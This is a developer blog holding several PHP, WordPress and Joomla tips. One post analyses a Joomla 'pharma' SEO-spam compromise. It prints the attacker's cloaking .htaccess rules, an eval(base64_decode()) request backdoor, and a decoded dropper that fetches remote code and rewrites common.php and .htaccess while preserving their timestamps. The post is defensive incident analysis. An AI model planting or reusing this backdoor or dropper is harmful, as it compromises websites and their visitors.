ChromeLogger for PHP

I recently came across this great plugin for Chrome called Chrome Logger.

Basically, it allows you to target the developer console in Chrome from within PHP. It’s really handy for debugging live PHP sites without printing nasty var_dump()’s to the screen, or SSH’ing into a server and watching logs.

It’s really simple to use too.

In my case for PHP get the script to integrate with the plugin:

Then in your code, just include the chromephp plugin:

That’s it, then you get pretty debugging information in your console:


Sending vCalendar/iCal Invites with PHP and Mailgun

Update, you can use the live application here!


Recently I was tasked with the job of creating an application that would create and send calendar invites to a users email.

On the surface it seemed like a very simple build, send an email, attach a calendar invite. Done. Right?

Not so much, here’s the run down of how I accomplished it.

Libraries/Services used:

The first step was to get Mailgun setup and working. It was SUPER easy to get started with and start sending mail. I’m a big fan of the service because they have lots of documentation tailored per language, as well as all the fun analytics for mail deliveries, opens and bounces/errors. Very easy to see how your app is running from a mail perspective. It only started to cost us ($89/month) when we wanted to have a custom sending domain for anti-SPAM reasons.

Rather than using the native sendmail() function, using a third-party email service allows for a better guaranteed sendability and general ease of development. Mail won’t get blocked as SPAM (as much) and it will generally send mail quicker.

Mailgun does provide an API, which I used at first, but I found that with custom attachments and MIME headers, it was much easier to use it as an SMTP service in conjunction with SwiftMailer.

Once Swiftmailer and Mailgun were all setup, it was time to create and attach the calendar event.

This was one of the more tricky parts since most of the docs and help I found on StackOverflow was manually mashing together things together as a string, then manually setting mail MIME headers. Gross.

Eventually I did run across the Sabre VObject project (, and things went smoothly from there.

And that’s pretty much it. Works well and tested accross multiple mail clients.

How to restrict access to wp-admin by IP Address

One of the easiest and quickest way to protect your WordPress admin is to use an .htaccess file to restrict access to a certain IP. To do this use the following code:

In your /wp-admin folder, add an .htaccess file with the following in it:

Obviously, replace xx.xx.xx.xx with your current IP address.

The <Files admin-ajax.php> block allows access to the WP ajax hooks that are contained within the wp-admin folder. This rule allows access to this file.

To do the same to the wp-login.php file (which is the gateway to wp-admin), use the following code in the .htaccess file in the root of your site:

Facebook Set Auto Grow – A version that actually works

Edit October 25th, 2013

This is some updated code that I’ve found recently that works a bit better.

It can be triggered on load, or on an event. Theres no need for the setTimeout()… code any longer.

One the hard things about Facebook App development is debugging weird Facebook API issues.

One of them is the inconsistent use of the FB.Canvas Javascript methods. Particularly FB.Canvas.setAutoGrow and FB.Canvas.setSize. The documentation explains that (either or both?) can be used ad hoc to resize the app iframe. Well that’s not exactly the case, as neither work when called after the initial page load.

Although hacky, this solution actually works.

Joomla ‘Pharma’ Hack

One of the more CSI type things I get to do in my job is figure out how servers are compromised. Last week I was tasked with figuring out why a site was listing Pharmaceuticals in Google results.

I’ve dealt alot with hacked and compromised servers, but have never come across one that only affected search results.

Basically, 3 modified files kept appearing on the server, a modified .htaccess file in the root, common.php and coockies.txt.

What we discovered was the following in the .htaccess file:

# Apache search queries statistic module
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo|aol|bing|crawl|aspseek|icio|robot|spider|nutch|slurp|msnbot) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo|msn|search|bing)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond %{DOCUMENT_ROOT}/common.php -f
RewriteRule ^.*$ /common.php [L]

What this means is that any search bot will get redirected through common.php. This file had a bunch of base_64 encoded PHP that modified page meta descriptions and titles. This is outlined pretty well here:

However, we deleted these files and modified the .htaccess file back to it’s original state, but the files kept coming back. So the big question was how?

I did a search through the Joomla source for base64_encode/decode and found a ton of files. Most of them were part of modules or core, but I did find a few that looked a little odd. For example:

/**GnPvQdChUa*/if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434") && isset($_REQUEST["mod_content"])) { /**LsWvRlYzUw*/eval(base64_decode($_REQUEST["mod_content"])); /**SeDuMsFkMx*/exit();/**BoJeXkTwXa*/ }

Basically what this does is run whatever is passed in the $_REQUEST[“mod_content”] variable. Pretty nasty since it means that any base64_encoded string will be run as is.

At 6:22 on a sunny Saturday morning, I got a notification from one of my monitoring scripts that common.php, that attack file, was back! I checked the logs and sure enough, here is what the request was:

/components/com_users/users.php?img_id=1f3870be274f6c49b3e31a0c6728957f&mod_content=aWYgKGV4dGVuc2lvbl9sb2FkZWQoImN1cmwiKSl7JGNo yadda yadda base64 encoded string.

That param decodes to a lovely PHP script:

if ( extension_loaded( "curl" ) ) {
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $door = curl_exec( $ch );
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $inc_code = curl_exec( $ch );
 $ch = curl_init();
 curl_setopt( $ch, CURLOPT_URL, "" );
 curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;" );
 curl_setopt( $ch, CURLOPT_HEADER, 0 );
 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, 1 );
 $inc_ht = curl_exec( $ch );
 } else {
 $door = @file_get_contents( "" );
 $inc_code = @file_get_contents( "" );
 $inc_ht = @file_get_contents( "" );
 }if ( is_file( "/home/user/public_html/index.html" ) ) {
 $index = "/home/user/public_html/index.html";
 }if ( is_file( "/home/user/public_html/index.htm" ) ) {
 $index = "/home/user/public_html/index.htm";
 }if ( is_file( "/home/user/public_html/.htaccess" ) ) {
 $index = "/home/user/public_html/.htaccess";
 }if ( is_file( "/home/user/public_html/favicon.ico" ) ) {
 $index = "/home/user/public_html/favicon.ico";
 }if ( is_file( "/home/user/public_html/index.php" ) ) {
 $index = "/home/user/public_html/index.php";
 }if ( is_file( "/home/user/public_html/common.php" ) ) {
 $index = "/home/user/public_html/common.php";
 }$time = filemtime( $index );
 $chmod = substr( sprintf( "%o", fileperms( $index ) ), -4 );
 $chmod = trim( $chmod );
 $chmod = intval( $chmod, 8 );
 @unlink( "/home/user/public_html/common.php" );
 $fp = fopen( "/home/user/public_html/common.php", "w" );
 fputs( $fp, $door );
 fclose( $fp );
 @chmod( "/home/user/public_html/common.php", $chmod );
 touch( "/home/user/public_html/common.php", $time );
 $htaccess = str_replace( "#####INCLUDE#####", $inc_ht, $inc_code );
 @unlink( "/home/user/public_html/.htaccess" );
 $fp = fopen( "/home/user/public_html/.htaccess", "w" );
 fputs( $fp, $htaccess );
 fclose( $fp );
 @chmod( "/home/user/public_html/.htaccess", $chmod );
 touch( "/home/user/public_html/.htaccess", $time );

This little script is what recreates all the spammy files.

So there it is, a URL param that run’s CURL requests to setup spam files on a server.

Wanted to record this so that anyone else having this issue has somewhere to look.


WordPress pagination on custom posts

Something I just came across in the forums that I thought would share as it definitely helped me (

Let’s say you’ve created a new custom post type, let’s say it’s called ‘fancy-post’. If you want a custom template for all the posts in the custom type, all you need to do is create a file in your theme called single-{post-type}.php. So in our case it’s single-fancy-post.php.

This works because WordPress knows too look in the theme for certain template files, as according to the Template Heirarchy.

However, one thing I came across was that if you have a listing of other posts on a custom post, and you want to paginate things, it aint going to work. At least not without a little extra work.

WordPress handles links internally using a bunch of methods, but the one that was catching me up was the redirect_canonical method in wp-includes/canonical.php. Basically this giant function handles redirects within WordPress and tries to find the correct post/page depending on the url given.

However, if you’ve got a custom post type, and you want to paginate, you have to override some of it’s behaviour. This is because there is code in this function that checks for singular posts, but not for custom posts. All custom posts get treated like regular posts, and the page/num behaviour get’s overridden as a result.

Anyway, basically this function is overriding the default pagination of WordPress but redirecting back to the first page.

To override this, you just need to tie into the ‘redirect_canonical’ hook and override it for your post type:

Credit to whatadewitt on the forums,


function my_disable_redirect_canonical( $redirect_url ) {
    if ( is_singular( 'fancy-post' ) )
	$redirect_url = false;
    return $redirect_url;